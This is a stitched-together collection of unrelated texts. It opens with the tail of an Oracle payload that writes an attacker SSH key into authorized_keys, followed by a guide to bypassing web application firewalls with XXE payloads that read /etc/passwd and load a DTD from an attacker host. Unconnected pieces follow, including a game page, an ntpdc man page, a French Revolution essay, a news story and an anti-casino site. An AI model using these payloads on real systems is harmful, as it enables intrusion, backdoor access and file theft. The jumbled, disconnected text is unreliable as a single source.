<string>/home/oracle/.ssh/authorized_keys</string>
<boolean>True</boolean>
<void method="write">
<string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
</void>
<void method="close" />
</object>
</java>
');
END;
/


For the worst WAFs out there, replacing 'SYSTEM' by 'PUBLIC "x" ' can also do the trick, the two syntaxes are functionally the same.
two types of WAF based on how they handle XML validation:
- Diligent. WAFs that pre-process the XML document with its own parser.
- Regex-based. WAFs that only search for certain substrings or regular expressions in the data.
Extra spaces in the document
Since XXE are typically in the beginning of the XML document, a lazy WAF can avoid processing the entire document, and only parse its beginning. However, the XML format allows using an arbitrary number of spaces when formatting the tag attributes, so an attacker can insert extra spaces in <?xml?> or <!DOCTYPE> to bypass such WAFs.
PoC:
<?xml [ . . . 100500 spaces . . . ] version="1.0">
<!DOCTYPE msg [<!ELEMENT msg ANY><!ENTITY attack SYSTEM "file:///etc/passwd">]>
<msg>&attack;</msg>
Invalid format
To bypass diligent WAFs, an attacker may send specially formatted XML documents so that a WAF would consider them invalid.
Links to unknown entities
The settings of a diligent WAF usually prevent it from reading the contents of the linked files. This is strategy generally makes sense since otherwise, the WAF itself may also become a target of an attack. The problem is that the links to external sources can exist not only in the third part of the document (the body) but also in the declaration — <! DOCTYPE>. This means that a WAF, which has not read the contents of the file, will not read the declarations of the entity present in the document. The links to unknown entities, in turn, will stop the XML parser causing an error.
PoC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE msg [<!ENTITY % load SYSTEM "http://<attacker>/look.dtd">%load;]>
<msg>&attack;</msg>
look.dtd:
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSteM "File:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY attack "%start;%stuff;%end;">
Exotic encodings
An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC.
With the help of such encodings it is easy to bypass a WAF using regular expressions since, in this type of WAFs, regular expressions are often configured only for a one-character set.
Exotic encodings may also be used to bypass diligent WAFs as they are not always able to process all the encodings listed above. For instance, the libxml2 parser only supports one type of UTF-32 — UTF-32BE, specifically without byte order mark (BOM).
Two types of encoding in one document
what happens when there is a <?xml?> tag containing the encoding attribute referring to a different character set at the beginning of the document? In this case, some parsers change the encoding so that the beginning of the file has one set of characters, and the rest of it is in another encoding. That said, different parsers may switch the encoding at different times. A Java parser (javax.xml.parsers) changes the character set strictly after the <?xml?> ends, whereas the libxml2 parser may switch the encoding right after the value of the “encoding” attribute is executed or later — before or after the <?xml?> has been processed.
A diligent WAF can protect against the attacks in such documents reliably only if it never processes them at all. We must also bear in mind that there are many synonymical encodings, for example, UTF-32BE and UCS-4BE. Moreover, some encodings may be different but compatible from the point of view of coding the initial part of the document — <?xml?>. For instance, a seemingly UTF-8 document may contain the string <?xml version=”1.0” encoding=”windows-1251”?>.


---
layout: game-page
redirect_from: /game/hegira
title: Hegira
year: 2005
semester: Fall
description: "3D space shooting, barrel rolls included.
Laser guns, power ups, hordes of enemy space ships, mission objectives, and barrel rolls, topped off with some of the craziest voice acting to ever grace deep space all make the Hegira experience a memorable one."
tags: Windows Singleplayer
# tag options: "Windows", "Mac", "Linux",
# "Singleplayer", "Multiplayer",
# "Controller-Compatible", "VR",
# "Game-Jam"
project_members: {
Chris DeLeon: "Sound Effects Design, Voice (Jiri)",
Diana Archer: Interface Design,
"Donald J. Slater": "Voice (Erdos)",
Eric Barndollar: "Voice (Commander Arion)",
Greg Newby: "Writing, Voice (Captain Feuro)",
Jay Meistrich: "Programming Lead, Game Design",
John Nesky: "Textures, Voice (General Dofar, General Vond, Enemy Commander)",
Juan Lasheras: Music,
Julianne Bierwirth: "Voice (Lisa, Computer)",
Luther Patenge: 3D Modelling,
Michael Collins: 3D Modelling,
Roy Concepcion: "Project Lead, Design Lead",
Tom Pike: "Voice (Aeras)"
}
stage_game_path: hegira/
builds: {
Windows: hegira.win32.exe
}
thumbnail: hegira-1.jpg
top-img: hegira-1.jpg
screenshots: [
hegira-1.jpg,
hegira-2.jpg
]
# Optional
top-img-fit: cover
# top-img-fit options:
# "cover" - Cover the entire top area with the image, without squashing/stretching
# "fill" - Fit the FULL image into the top area, squashing/stretching as necessary
---


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Floriculture in Sri Lanka started as an industry in 1970. It has grown substantially during the last few years to become one of Sri Lanka's major foreign exchange generating ventures. Anthurium and Orchid are the most popular tropical cut flowers which are being grown commercially for exports as well as for the local market. Read More......
There are no existing applications built to monitor Anthurium plantations. Also existing applications do not provide the comfort of monitoring a whole plantation because all the aspects such as disease detection, growth prediction and risk management considering external environmental factors like humidity, sunlight and temperature are not performed in one single research. Another point noted was that the possibility of using existing applications in a real plantation is weak.
Anthurium is mostly grown in mild climates inside greenhouse environments. But major problems that large scale Anthurium growers in Sri Lanka face when monitoring their plantations are, protecting the plants from various bacterial and fungal diseases, knowing the outbreak of a disease and predicting the growth of a plantation due to changes in environmental conditions such as sunlight, temperature and humidity. Therefore growers need an efficient method to monitor their plantations tirelessly.
Developing a user friendly stand-alone application for diseases detection, growth prediction and risk management
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An open source programming language used for general purpose programming. Python is widely used in GUI based desktop applications like image processing and graphic design applications.
OpenCV 3.2.0
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Raspberry Pi 3
Raspberry Pi is a series of small single-board computers. Raspberry Pi 3 is approximately 80% faster than the Raspberry Pi 2 in parallelized tasks.
Sensors
DHT 11 sensor was used to get the humidity and the temperature readings and the light-dependent resistor (LDR) to get the sun light intensity.
Camera
A digital camera (Fuji film Fine Pix S8300 compact camera) is used for image acquisition. This compact camera has a high quality lens which provides zooming. It provides the captured image to the system for further analysis.


NTPDC(1) NTPDC(1) NAME ntpdc - special NTP query program SYNOPSIS ntpdc [-ilnps] [-c command] [host] [...] DESCRIPTION ntpdc is used to query the ntpd daemon about its current state and to request changes in that state. The program may be run either in interac‐ tive mode or controlled using command line arguments. Extensive state and statistics information is available through the ntpdc interface. In addi‐ tion, nearly all the configuration options which can be specified at startup using ntpd's configuration file may also be specified at run time using ntpdc. If one or more request options are included on the command line when ntpdc is executed, each of the requests will be sent to the NTP servers running on each of the hosts given as command line arguments, or on localhost by default. If no request options are given, ntpdc will attempt to read commands from the standard input and execute these on the NTP server running on the first host given on the command line, again defaulting to localhost when no other host is specified. ntpdc will prompt for commands if the standard input is a terminal device. ntpdc uses NTP mode 7 packets to communicate with the NTP server, and hence can be used to query any compatible server on the network which permits it. Note that since NTP is a UDP protocol this communication will be somewhat unreliable, especially over large distances in terms of net‐ work topology. ntpdc makes no attempt to retransmit requests, and will time requests out if the remote host is not heard from within a suitable timeout time. The operation of ntpdc are specific to the particular implementation of the ntpd daemon and can be expected to work only with this and maybe some previous versions of the daemon. Requests from a remote ntpdc program which affect the state of the local server must be authenticated, which requires both the remote program and local server share a common key and key identifier. Note that in contexts where a host name is expected, a -4 qualifier pre‐ ceding the host name forces DNS resolution to the IPv4 namespace, while a -6 qualifier forces DNS resolution to the IPv6 namespace. OPTIONS Specifying a command line option other than -i or -n will cause the spec‐ ified query (queries) to be sent to the indicated host(s) immediately. Otherwise, ntpdc will attempt to read interactive format commands from the standard input. -4 Force DNS resolution of following host names on the command line to the IPv4 namespace. -6 Force DNS resolution of following host names on the command line to the IPv6 namespace. -c command The following argument is interpreted as an interactive format command and is added to the list of commands to be executed on the specified host(s). Multiple -c options may be given. -i Force ntpdc to operate in interactive mode. Prompts will be writ‐ ten to the standard output and commands read from the standard input. -l Obtain a list of peers which are known to the server(s). This switch is equivalent to -c listpeers. -n Output all host addresses in dotted-quad numeric format rather than converting to the canonical host names. -p Print a list of the peers known to the server as well as a summary of their state. This is equivalent to -c peers. -s Print a list of the peers known to the server as well as a summary of their state, but in a slightly different format than the -p switch. This is equivalent to -c dmpeers. SEE ALSO /usr/share/doc/ntp-doc/html/ntpdc.html for the full documentation. Network Time Protocol October 7, 2006 NTPDC(1)


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Many cultures have a recognizable cuisine, a specific set of cooking traditions using various spices or a combination of flavors unique to that culture, which evolves over time. Other differences include preferences (hot or cold, spicy, etc.) and practices, the study of which is known as gastronomy.
Italian cuisine is characterized by its simplicity, with many dishes having only four to eight ingredients.[9] Italian cooks rely chiefly on the quality of the ingredients rather than on elaborate preparation.[10] Ingredients and dishes vary by region. Many dishes that were once regional, however, have proliferated with variations throughout the country.
French cuisine was codified in the 20th century by Auguste Escoffier to become the modern haute cuisine; Escoffier, however, left out much of the local culinary character to be found in the regions of France and was considered difficult to execute by home cooks. Gastro-tourism and the Guide Michelin helped to acquaint people with the rich bourgeois and peasant cuisine of the French countryside starting in the 20th century.
The traditional cuisine of Japan (和食 washoku?) is based on rice with miso soup and other dishes. There is an emphasis on seasonal ingredients. Side dishes often consist of fish, pickled vegetables, and vegetables cooked in broth. Seafood is common, often grilled, but also served raw as sashimi or in sushi. Seafood and vegetables are also deep-fried in a light batter, as tempura.
Philippine cuisine (Filipino: Lutuing Pilipino or Pagkaing Pilipino) consists of the food, preparation methods, and eating customs found in the Philippines. The style of cooking and the food associated with it have evolved over many centuries from their Austronesian origins to a mixed cuisine of Indian, Japanese, Malay, Chinese, Spanish, and American, as well as others adapted to indigenous ingredients and the local palate.


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Cult of the Supreme BeingCulte de l'Etre SupremeWhen you think of the French Revolution, you think of Marie Antoinette, Maximilien Robespierre and plenty of guillotines.What you may forget about is the official state-sponsored religion. The Cult of the Supreme Being is exactly the kind of religion you might expect a committee of government bureaucrats to produce -- generic, efficient and completely uninspired. Throughout the history of France, religion and monarchy went together like wine and cheese, or more often like hellfire and brimstone. The Roman Catholic church had collaborated with French kings on such indignities as the slaughter of the Cathars and the betrayal of the Knights Templar, both of which were naked power and money grabs carried out under the pretext of religious conviction. It followed naturally that when the French turned their attention to eradicating the monarchy, starting in 1789, that the priests would be the first ones up against the wall. Voltaire, a French philosopher, had spent most of the 18th century mercilessly dissecting the intellectual underpinnings of religion and the corruption he found rampant in the Catholic church. A rationalist and an elitist, Voltaire felt religion was a good way to keep the base impulses of the rabble in check, but he advocated a theory of Deism for the upper classes. Deism is a philosophical approach to religion that concedes the existence of a creator god, but stipulates that he/she/it exerts no influence over human affairs or the physical universe (an argument designed to circumvent logical objections to free will in a universe run by an all-powerful god). Voltaire believed the ultimate force of the universe was reason, the cognitive ability of the human mind. This credo was taken to the next natural level, atheism, by many of his contemporaries, who had been significantly shaped by their hatred for the institution of the church, as well as possible affiliations with the Freemansons and the Illuminati. (Although the latter two groups are decidedly religious in bent, both were intensely antagonised by the Catholic Church.) When the French Revolution began, a few years after Voltaire's death, one of the first orders of business was to eradicate the church on French soil. In 1789, the revolutionary assembly officially banned the church. The government seized church property and the property of clergymen on behalf of the state, and the new constitution painted freedom of religion into a very small corner -- "No one shall be disturbed for his opinions, even religious, provided their manifestation does not disturb the public order established by law." Priests were required to take loyalty oaths to the state, and allegiance to the pope was forbidden. New priests could only be elected by the community -- in the municipal sense, and not by parishes of like-minded believers. Priests' salaries were set and paid by the state. Within a year, the restrictions became more severe. Priests who refused to take the loyalty oath were arrested, and only loyal priests were permitted to preach, and eventually even to worship. Riots broke out as government forces killed priests who were too visible in their resistance. The Revolutionaries were influenced by philosopher Jean-Jacques Rousseau's concept of a "civic religion," and they began institutionalizing some religion functions within the state. In 1792, the pope raised the stakes by excommunicating all priests who aligned themselves with the Revolution. By the end of 1792, the government was looking on even the "loyal" priests with disdain, and fresh squabbling broke out over the Revolution's attempt to legalize the marriage of priests and institute a new calendar system with a metric calendar that cut back Sundays (called decadi) to one day in every ten, during which a civil church service was held. Officially launched in 1793, the calendar also replaced the Christian holidays with metrically timed feast days commemorating Labor, Reason, Virtue, Genius, Rewards and, finally, the Revolution itself. If you're thinking, "mmmm, festive," you may have been born into the wrong century. The cathedral of Notre Dame was looted and converted into a Temple of Reason. By now, the various factions of the Revolution has begun splintering into subsects, such as the Cult of Reason, an atheistic celebration of the glories of human intelligence. Antireligious activity in France continued to rise in both volume and severity, and the tales began to reflect badly on the Revolutionary Council. Around this time, Robespierre became the leader of the Revolution as it stood. He helped institute a period known as the Reign of Terror, aka The Year France Went Completely Batshit. In addition to executing thousands of his opponents, Robespierre decided that the godless Cult of Reason and the current state of the official French religion were causing foreign policy problems. Fortunately, Robespierre had a solution. Unfortunately, his solution was as fucked-up as everything that preceded it. In April of 1794, Robespierre proposed a new state religion, the Cult of the Supreme Being. Rejecting atheism, the new Cult was based around the worship of a Deist-style creator god. Unfortunately, the Cult lacked virtually every quality that makes a religion last -- history, a preceding religion on which to draw, actual enthusiasm among the religion's members, a ritual structure grounded in some sort of mystical tradition, a charismatic spiritual teacher and a set of clearly drawn beliefs. Nevertheless, Robespierre was rather pleased with himself: "Never has the world which He [the Supreme Being] created offered to Him a spectacle so worthy of His notice," he crowed in a turgid 1794 speech instituting the religion. The Supreme Being had few distinguishing characteristics relative to the colorful gods of yesteryear, such as Zeus, Jesus Christ or Shiva. He was opposed to priests and kings, but very much in favor of Liberty, much like Robespierre himself. He also...
...impels the just man to hate the evil one, and the evil man to respect the just one. It is He who adorns with modesty the brow of beauty, to make it yet more beautiful. It is He who makes the mother's heart beat with tenderness and joy. It is He who bathes with delicious tears the eyes of the son pressed to the bosom of his mother. It is He who silences the most imperious and tender passions before the sublime love of the fatherland. It is He who has covered nature with charms, riches, and majesty. All that is good is His work, or is Himself. The Supreme Being's turn-ons include linking "all mortals by a boundless chain of love and happiness". His turn-offs include "tyranny, crime, and imposture". By virtue of their participation in the Revolution, the French automatically qualified as "worthy to honor Divinity".  Robespierre considerately laid out an elaborate series of joyless, mandatory observances, which largely involved everyone dressing in uniforms with the colors of the new French flag and marching around in strict formation. After a speech by the president, Atheism was to be burned in effigy. According to some accounts, Robespierre's speech -- now considered one of the important political speeches of the day -- was greeted with hoots and jeers by his extremely bored congregation. The only tenets of the Cult were that the Supreme Being existed and that man had an immortal soul. If you're thinking that this is a flimsy basis for an entire religion, well, you're right. The people of France, despite being batshit at the time, were inclined to agree. Despite possessing the exclusive blessing of the Supreme Being, Robespierre didn't survive two months after the first celebration of His feast. The Cult of the Supreme Being stands as an extremely rare example of a theistic civic religion wholly manufactured by government officials. Many nations (before and after) have attempted to enforce some sort of state-endorsed religion, but even the Caesars were smart enough to integrate their deification into a previous tradition. Depending on how you want to look at it, the Cult of the Supreme Being can be seen as a testament to either the ingenuity of the French or the megalomania of Robespierre. Either way, after Robespierre was ousted and sent to the guillotine, the Cult's brief and rather underwhelming glory immediately launched on a short trip to oblivion. Despite the institution of the metric calendar, many French continued to celebrate Sunday services for the religion of their preference. The Revolutionary government briefly maintained a lock on civic institutions like marriage, which were only permitted to be held on the decadi. But it didn't take long for the whole thing to collapse. When the French general Napoleon was ordered to conquer the Vatican using the French Army, he defied the order, using his political clout to force a treaty with the pope in 1797. Napoleon put an effective end to the Revolution proper in 1799, when he seized power in a coup. Although he dominated the Revolutionaries politically, Napoleon wasn't able to crush all their ideas. He took his time consolidating his power. The metric calendar continued until 1805, but Napoleon set about restoring the church more expeditiously. Napoleon believed that the Catholic Church was an effective tool for keeping the little people in line, and he struck a deal with Rome which allowed him to keep the church property seized by the Revolution, while re-establishing Catholicism as the primary religion of the land (albeit on a tighter leash than before the Revolution). Although the Festival of the Supreme Being remained on the Revolutionary calendar, for as long as it lasted, the Supreme Being was never again offered a spectacle so worthy of His notice.
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It should be possible to define More Actions menu settings on the Toolbar element, and allow those settings to propagate down to the More Actions menu. This helps the Angular Components environment.


What services are provided by Tark?
Tark provides the following main services via REST Tark and Web Tark:
- search for existing transcripts and related entities
- Go to Tark Home
- In the Search field, enter a transcript (eg: NM_013236)
and click Enter.
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transcript.
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release to the next
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NM_013236.3 (release: r106_20140203-Feb2014).
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- Click Compare Transcripts


Ex-Bloomberg News editor slams outlet’s policy not to investigate Mike Bloomberg, other Dem candidates
by Brian FloodBloomberg News' refusal to investigate its namesake owner, Mike Bloomberg, while he runs for president, or any other Democratic presidential candidate for that matter, has the organization’s former Washington, D.C. bureau chief blasting the decision as “staggering” and “not journalism.”
Bloomberg Editor-in-Chief John Micklethwait on Sunday sent a memo to staffers, obtained by The Washington Post, in which he declared the newsroom will “continue our tradition of not investigating Mike (and his family and foundation)” and that it would extend the same policy to his opponents in the Democratic primaries, but not to President Trump.
WASHINGTON POST EDITOR’S BRETT KAVANAUGH BOOK CALLED ‘FLAT-WRONG,’ ‘RIDICULOUS’
Micklethwait added that “if other credible journalistic institutions” publish investigative work regarding the former New York City mayor, Bloomberg News will either publish or summarize it for readers. Micklethwait added that Bloomberg News will continue to investigate President Trump and announced that the unsigned editorials will be suspended while some members take a leave of absence to work on their boss’ campaign.
The decision to avoid investigating 2020 Democratic presidential candidates sparked backlash and confusion, including former Bloomberg Washington D.C. bureau chief Megan Murphy, who slammed the memo in a series of tweets.
“It is truly staggering that *any* editor would put their name on a memo that bars an army of unbelievably talented reporters and editors from covering massive, crucial aspects of one of the defining elections of our time. Staggering,” Murphy wrote.
CNN’S BRIAN STELTER IGNORES ABC NEWS’ JEFFREY EPSTEIN SCANDAL ON ‘RELIABLE SOURCES’ MEDIA SHOW
“Honestly these poor, poor people. Ridiculous,” Murphy wrote to caption Micklethwait’s memo. “This is not journalism.”
Murphy then wrote that she made it “very clear” that she would have quit if a similar memo was distributed when Bloomberg flirted with running in 2016, while she was still running the Washington bureau.
Bloomberg News did not immediately respond to a request for comment.
Bloomberg launched his 2020 campaign on Sunday with a one-minute ad, which was posted on social media. Along with the video, Bloomberg posted a written statement on his campaign website in which he laid out why he was the best candidate to defeat President Trump next November.
“I’m running for president to defeat Donald Trump and rebuild America,” Bloomberg wrote.
KELLYANNE CONWAY SLAMS CNN’S WOLF BLITZER FOR BRINGING UP HER MARRIAGE: ‘I’M EMBARRASSED FOR YOU’
Bloomberg’s entrance comes just 10 weeks before primary voting begins, an unorthodox move that reflects anxiety within the Democratic Party about the strength of its current candidates. As a centrist with deep ties to Wall Street, Bloomberg is expected to struggle among the party’s energized progressive base. He became a Democrat only last year.
Bloomberg’s presidential bid has already raised eyebrows across the media industry with some pointing out that it's “problematic” to investigate Trump but not Democrats, while others pondered what would happen if reporters stumble upon a bombshell regarding their boss.
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This website was created and funded by Tiverton residents. We're not an organized group, just some folks that have looked hard at casinos and realized they don't belong in Tiverton.
Want to get in contact with us? Send us an email by clicking here.
Feedback
Click the feedback link to the right to send feedback.
This website is entirely open source. You can contribute to it directly on GitHub.
Your House
People don't want to live near casinos.
Research by the National Association of
Realtors states the "impact on home values appears to be unambiguously negative". Look at the picture below. That big dot in the middle is a mile around the proposed casino. Homes have lost 4.6% of their value by being within one mile of a casino. That big dot in the middle is that mile.
Homes have lost 4.6% of their value by being that close to a casino. See the lighter circle? That's a lot more houses — only two miles away. Some studies show us losing as much as 10% on the value of our homes. Imagine your $200,000 dollar Tiverton home being worth $180,000.
Don't let your home value go down — keep the casino out of Tiverton.
Vote no on question 1.
Convenience Casinos
What is a convenience casino?
“We do not believe that property can support another $500 million destination casino on it,’’ Taylor said of the Tiverton site. “We look at this location as a convenience casino location, one where people can get into it and get out of it easily.”
John Taylor, Chairman Twin River Management Group
A "convenience casino" is a lot like a convenience store — easy to get in and easy to get out. About 80% of people at convenience casinos are locals. 8 out of 10 people going in our locals. Your neighbors. Your friends. Money is not coming into the town from far and wide. Money is coming out of the pockets of your neighbors. Money is coming out of the pockets of your friends.
Vote no on question 1. Keep money in the pockets of your neighbors and friends — and keep the casino out of Tiverton.
What are people saying?
Some reviews for Newport Grand as seen on Yelp.
Getting Popped?
The promo shots provided to Yelp show delighted folks, but it is of course in reality sad folks spending more than they should at a low end place.
[...]
The strolling fully armed security lent a really classy touch to the place too. I always like to try to relax in places where I have to worry about hoodums besieging the place and perhaps getting popped
Careful Where You Step
Lots of old folks on oxygen and using walkers so keep an eye out where you step.
Avoid At All Costs
I think some of the people were on their death beds...
Avoid at all costs!
Highly Disappointing
Very low paying slots at best. It was grimey and there is no reason to stay more than 5 minutes.
Close This Place Already
Beware of this place. It is an older casino/Jai Lai (they did away with the Jai Lai) establishment that sits on the outskirts of beautiful Newport in a tough area outside the Naval Base. The place is a monstrosity sitting on a hill and fills up with really scary locals coming out of the woodwork hoping to cash in here.  It has all digital casino slots (1 cent and 5 cent and 50 cent) and a lounge with really scary acts playing and just an all around mess. It touts itself as a professional casino but since the Jai Lai is gone, it leaves a bunch of slot machines in a badly decorated split rooms. The staff is half asleep and they could care less what goes on here. This place looks like it is on its last legs and should really think about closing. Not sure what is keeping it open!
Vote no on question 1. Don't ruin our town — and keep the casino out of Tiverton.
Crime
"For an average county with 100,000 population this implies 615 more larcenies, 325 more burglaries, 272 more auto thefts, 10 more rapes, 65 more robberies, and 100 more aggravated assaults."
FBI Statistics
Adjusting those statistics for the population of Tiverton — about 16,000 people:
98 more larcenies
52 more burglaries
44 more auto thefts
2 more rapes
10 more robberies
16 more aggravated assaults
Don't invite crime into Tiverton — keep the casino out of Tiverton.
Vote no on question 1.
Payouts 101
What is a payout?
A payout is basically money returned to players. You don't win money. Casinos don't award money. Some portion of the money played is returned to players as payouts.
What is a payout percentage?
A payout percentage is how much money is returned to players over some length of time. These are a bit hard to find unless you know exactly what you're looking for but here are the RI lottery payout percentages. Let's take a look at August 2016.
Newport Grand had a payout percentage of 90.83%.
Wait, really? So casinos basically just keep a little of what's given to them? That's how they "make money"? Yep.
So — all things considered — the proposed Tiverton casino will take money from your neighbors and friends, and give back about 90% of it.
Don't give up 10% of your money — keep the casino out of Tiverton.
Vote no on question 1.
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A Borilliant Sandwich Maker
Help you choose the best sandwich/wrap for you!
Get Started
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White Bread
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Wheat Bread
Potato Bread
Rye Bread
Gluten Free Bread
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White Wrap
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Wheat Wrap
Spinach Wrap
Tomato Wrap
Gluten Free Wrap
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Please choose the kinds of meat you want
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Turkey
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Ham
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Chicken
Pepperoni
Chicken Salad
Tuna Salad
Capocollo
Salami
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Please choose the kinds of cheese you want
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American
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Provolone
Swiss
Cheddar
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Please choose the kinds of vegetables you want
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Lettuce
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Tomato
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Spinach
Onion
Cucumber
Banana Peppers
Red Onion
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Ranch Dressing
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Caesar Dressing
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Blue Cheese Dressing
Thousand Island Dressing
Italian Dressing
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CLASSES: -------------------------- Communication between Widget and ItemManager with Signals * Widget - User Interface * BrowserWidget - Internet browser * ItemManager * Categories - Contains list of urls * HtmlWorker - Gets html page * ItemWorker - Process page to items * CollectionWorker - Check that new item is valid - Add items to collection (check duplicates) * ItemCollection - Collection on all items, new items (stack) etc. * Item - Item data (name, url, prices) * Money - Helper class for currency WORKFLOW: ------------------------ All workers are Threads. 1) ItemManager generates urls for selected Category 2) User Defines Category and max price from Widget 3) User presses start 4) ItemManager passes url to HtmlWorker and starts it 4.1) HtmlWorker gets HtmlData from selected url 4.2) If HtmlData is empty and no more urls to process set HtmlWorker to finished 4.2) Else ItemManager places HtmlData to WorkQueue for ItemWorker 4.2.1) If ItemWorker not running start it 4.2.2) Go to 4 5) ItemWorker processes HtmlData from WorkQueue to Item objects 5.1) Items are placed to WorkQueue for CollectionWorker 5.2) If CollectionWorker is not running start it 5.3) If WorkQueue is empty and HtmlWorker is finished set ItemWorker to finished 5.3) If HtmlData in WorkQueue 5.3.1) Go to 5 5.3) If WorkQueue is empty do nothing (wait that is started in 4.2.1) 6) CollectionWorker gets items from WorkQueue and cheks valid items 6.1) Checks that items are valid and places those to ItemCollection 6.2) ItemManager send new items to Widget 6.3) If more items in WorkQueue 6.3.1) Go to 6 6.3) If ItemWorker is finished set CollectionWorker to finished 6.3) If WorkQueue is empty do nothing (wait that is started in 5.2)


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| com.midhunarmid.movesapi | |
| com.midhunarmid.movesapi.auth | |
| com.midhunarmid.movesapi.servercalls |
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static void |
MovesAPI.authenticate(MovesHandler<AuthData> handler,
FragmentActivity parent)
Use this method to request authorization from Moves.
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static void |
MovesAPI.getProfile(MovesHandler<ProfileData> handler)
Request
ProfileData of authenticated user from Moves Server |
static void |
MovesAPI.getSummary_PastDays(MovesHandler<ArrayList<SummaryListData>> handler,
String pastDays,
String updatedSince)
Get daily activity summaries for user, including step count, distance and duration for each activity (if applicable).
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static void |
MovesAPI.getSummary_SingleDay(MovesHandler<ArrayList<SummaryListData>> handler,
String date,
String updatedSince)
Get daily activity summaries for user, including step count, distance and duration for each activity (if applicable).
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static void |
MovesAPI.getSummary_SpecificMonth(MovesHandler<ArrayList<SummaryListData>> handler,
String month,
String updatedSince)
Get daily activity summaries for user, including step count, distance and duration for each activity (if applicable).
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static void |
MovesAPI.getSummary_SpecificWeek(MovesHandler<ArrayList<SummaryListData>> handler,
String week,
String updatedSince)
Get daily activity summaries for user, including step count, distance and duration for each activity (if applicable).
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static void |
MovesAPI.getSummary_WithinRange(MovesHandler<ArrayList<SummaryListData>> handler,
String from,
String to,
String updatedSince)
Get daily activity summaries for user, including step count, distance and duration for each activity (if applicable).
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| Modifier and Type | Method and Description |
|---|---|
static MovesLoginFragment |
MovesLoginFragment.newInstance(MovesHandler<AuthData> handler)
Gets a new instance of this
MovesLoginFragment and sets the MovesHandler to get notified about
success and failure |
| Modifier and Type | Method and Description |
|---|---|
static void |
HTTPCall.getDailySummaryList(MovesHandler<ArrayList<SummaryListData>> handler,
String specificSummary,
String from,
String to,
String pastDays,
String updatedSince)
Use this method to fetch the Summary information of a user from Moves Server
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static void |
HTTPCall.getProfile(MovesHandler<ProfileData> handler)
Use this method to fetch the Profile information of a user from Moves Server
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Amount of given credit in NT dollars
SEX
EDUCATION
MARRIAGE
AGE
Repayment status in September, 2005
Repayment status in August, 2005
Repayment status in July, 2005
Repayment status in June, 2005
Repayment status in May, 2005
Repayment status in April, 2005
Amount of credit statement in September, 2005
Amount of credit statement in August, 2005
Amount of credit statement in July, 2005
Amount of credit statement in June, 2005
Amount of credit statement in May, 2005
Amount of credit statement in April, 2005


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PacMen Factory
See how many PacMen you can generate and how fast you can make them bounce across the screen!
Moving Eyes
Can you tell where the eyes are looking? Hint: it might be at you...
Real Time Bus Tracking
Take a look at a local bus route in Boston using a live map animation


Values that are changing a lot oftener
Initialise a current truck object
Is the electric enabled
Is the engine enabled?
Current values of the motor for more information
Values that are displayed at the dashboard like rpm, fuelValue, ... for more information
Information about the Lights of the truck for more information
Current values of the wheels like rotation, substance, ...
Acceleration of the Truck for more information
Represents world space position and orientation of the truck.
Gear, Retarder, etc.
Initialise a motor object
Slected Gear, HShifter... etc.
0 means that no slot is selected
| - > 0 | Forward gears |
| - 0 | Neutral |
| - < 0 | Reverse gears |
Gearbox slot the h-shifter handle is currently in.
Selected gear in the engine
Enabled state of range/splitter selector toggles
Brake Values
<0;max> where 0 is disabled retarder and max is maximal value found in Truck configuration See Also: Constants.Motor.RetarderStepCount <summary> Current level of the retarder </summary> <!----> **INFORMATION** <!----> 0;max where 0 is disabled retarder and max is maximal value found in TRUCK configuration <!----> **INFORMATION** <!----> <seealso cref="Constants.Motor.RetarderStepCount" />.
Pressure in the brake air tank in psi
Temperature of the brakes in degrees celsius.
Is the parking brake enabled?
Is the motor brake enabled?
Speed, RPM, Pressures, Temperatures
Initialise a dashboard object
Uses negative value to represent reverse movement
Is zero if the cruise control is disabled
| - > 0 | Forward gears |
| - 0 | Neutral |
| - < 0 | Reverse gears |
Information about fuel: amount, range, average consumption
Selected gear displayed on dashboard
Speed selected for the cruise control in m/s
Amount of AdBlue in liters
Pressure of the oil in psi
Temperature of the oil in degrees celsius
Temperature of the water in degrees celsius
Voltage of the battery in volts
RPM of the engine
The value of the odometer in km
are the wipers enabled?
Is the CruiseControl active?
Contains Fuel values
Amount of fuel in liters
Average consumption of the fuel in liters/km
Estimated range of truck with current amount of fuel in km
Warnings
Is the air pressure warning active?
Are the emergency brakes active as result of low air pressure?
Is the fuel warning active?
Is the adblue warning active?
Is the oil pressure warning active?
Is the water temperature warning active?
Is the battery voltage warning active?
Lightlevel and state of Lights
This represents the logical enable state of the blinker. It it is true as long the blinker is enabled regardless of the physical enabled state of the light (i.e. it does not blink and ignores enable state of electric).
Intensity of the dashboard backlight as factor <0;1>
Is the left blinker enabled?
Is the light in the left blinker currently on?
Is the Right blinker enabled?
Is the light in the Right blinker currently on?
Are the parking lights enabled?
Are the BeamLow lights enabled?
Are the BeamHigh lights enabled?
Are the Beacon lights enabled?
Are the Brake lights enabled?
Are the Reverse lights enabled?
States of the Wheels
Positive velocity corresponds to forward movement
Value is from <0.25,0.25> range in counterclockwise direction when looking from top (e.g. 0.25 corresponds to left and -0.25 corresponds to right)
Set to zero for non-steered wheels
Value is from <0.0,1.0) range in which value increase corresponds to forward movement
For use with simple lifted/ non-lifted test or logical visualization of the lifting progress.
Value of 0 corresponds to non-lifted axle.
Value of 1 corresponds to fully lifted axle. Set to zero or not provided for non-liftable axles.
Might have non-linear relation to lift ratio. Set to zero or not provided for non-liftable axles.
Substance below the wheel
Vertical displacement of the wheel from its axis in meters
Angular velocity of the wheel in rotations per second
Steering rotation of the wheel in rotations
Rolling rotation of the wheel in rotations
Lift state of the wheel <0;1>
Vertical displacement of the wheel axle from its normal position in meters as result of lifting.
Is the wheel in contact with ground?
Wear of Truck parts
Wear of the engine accessory as <0;1>
